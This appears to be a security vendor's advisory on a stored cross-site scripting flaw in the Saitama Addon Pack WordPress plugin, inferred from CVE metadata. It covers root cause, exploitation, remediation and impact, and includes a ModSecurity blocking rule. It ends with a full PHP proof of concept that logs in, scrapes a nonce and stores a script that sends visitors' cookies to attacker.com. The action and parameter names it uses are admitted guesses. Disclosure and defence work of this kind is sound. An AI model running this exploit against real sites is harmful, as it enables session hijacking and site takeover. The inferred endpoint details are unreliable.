Atomic Edge analysis of CVE-2026-17010 (metadata-based):
Saitama Addon Pack is a WordPress plugin (slug cc-addon-pack) that provides additional Elementor widgets and blocks. Versions up to and including 1.0.8 are vulnerable to authenticated stored cross-site scripting. An attacker with Contributor-level access or higher can inject arbitrary JavaScript into pages. The script executes whenever a user views the injected page. The CVSS score is 6.4 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The scope change (S:C) reflects that the injected script runs in the context of the vulnerable site, potentially affecting other users and components.
Root Cause: The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). Atomic Edge analysis infers that the plugin fails to sanitize user-supplied input on save and fails to escape it on output. The description states insufficient input sanitization and output escaping. Because the attacker has Contributor privileges, the vulnerable entry point is likely a post edit or a custom field that Contributors can modify. Common WordPress patterns include shortcodes, custom meta fields, or Elementor widget settings that store raw HTML or attributes. The exact code location is not confirmed because no source diff is available. The conclusion that the plugin accepts unfiltered input and renders it without escaping is inferred from the CWE and the vulnerability description.
Exploitation: An authenticated attacker with Contributor access can inject a malicious script through any input field that the plugin stores and later displays. Likely vectors include the post content editor (if the plugin registers a shortcode or block that does not sanitize attributes), custom meta boxes added by the plugin, or AJAX actions that save widget settings. For a typical WordPress AJAX handler, the attacker would send a POST request to /wp-admin/admin-ajax.php with an action parameter such as cc_addon_pack_save_settings and a payload parameter containing alert(document.cookie) or a more sophisticated payload that steals cookies or performs actions. The attack requires a valid nonce, which the attacker can obtain from the page where the vulnerable form is rendered. Since the CVSS vector indicates UI:N (no user interaction), the script executes automatically when any user (including an administrator) visits the page containing the injected content.
Remediation: The fix requires proper input sanitization and output escaping. On input, the plugin should use WordPress functions such as sanitize_text_field, wp_kses_post, or esc_attr before saving data. On output, the plugin must escape all dynamic values with esc_html, esc_attr, or wp_kses_post depending on context. For shortcodes and widget attributes, the plugin should validate and sanitize each attribute. The patch likely modifies the save routine to sanitize fields and the render routine to escape output. Since no patched version is available, users should disable the plugin or restrict Contributor access until a fix is released.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking (stealing cookies), privilege escalation (if an administrator views the page, the attacker can create new admin accounts or modify site settings), defacement, or redirection to malicious sites. The scope change (S:C) means the vulnerable component (plugin) affects other components (WordPress core, other plugins), potentially compromising the entire site. Data confidentiality and integrity are partially impacted (C:L/I:L), while availability is not affected (A:N).
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-17010 (metadata-based)
# This rule blocks the inferred AJAX action for saving settings with malicious payload.
# It matches requests to admin-ajax.php with action 'cc_addon_pack_save_settings' and a parameter containing '<script'.
# If the actual action name differs, this rule will not catch it. Adjust the action name based on plugin analysis.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261701,phase:2,deny,status:403,chain,msg:'CVE-2026-17010 via Saitama Addon Pack AJAX action',severity:'CRITICAL',tag:'CVE-2026-17010'"
SecRule ARGS_POST:action "@streq cc_addon_pack_save_settings" "chain"
SecRule ARGS_POST:setting_field "@contains <script" "t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-17010 - Saitama Addon Pack <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting
// This PoC assumes the plugin uses an AJAX action for saving settings, likely named after the plugin slug.
// The action name is inferred from common WordPress patterns: 'cc_addon_pack_save_settings'.
// The nonce is required; adjust the nonce retrieval logic if the form is different.
$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password
// Payload: JavaScript to steal admin cookies and send to attacker server
$payload = '<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>';
// Initialize cURL
$ch = curl_init();
// Step 1: Login as Contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Retrieve a nonce from a page that contains the vulnerable form.
// This is a placeholder; the actual nonce field name and page depend on the plugin.
// For example, the plugin might add a meta box on the post editor page.
$nonce_page_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $nonce_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce using regex (adjust pattern to match the actual nonce field)
$nonce = '';
if (preg_match('/name="cc_addon_pack_nonce" value="([^"]+)"/', $response, $matches)) {
$nonce = $matches[1];
} else {
// If nonce not found, try a generic nonce field
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
$nonce = $matches[1];
}
}
if (empty($nonce)) {
die('Could not retrieve nonce. The plugin structure may differ.n');
}
// Step 3: Send AJAX request to inject payload
// Assumed action: cc_addon_pack_save_settings
// Assumed parameter: setting_field
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'cc_addon_pack_save_settings',
'setting_field' => $payload,
'nonce' => $nonce
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$response = curl_exec($ch);
// Step 4: Verify injection by checking the response or visiting the page
// The payload will execute when an admin views the page where the setting is rendered.
echo "Injection attempt completed. Check if the payload is stored and executed.n";
curl_close($ch);
?>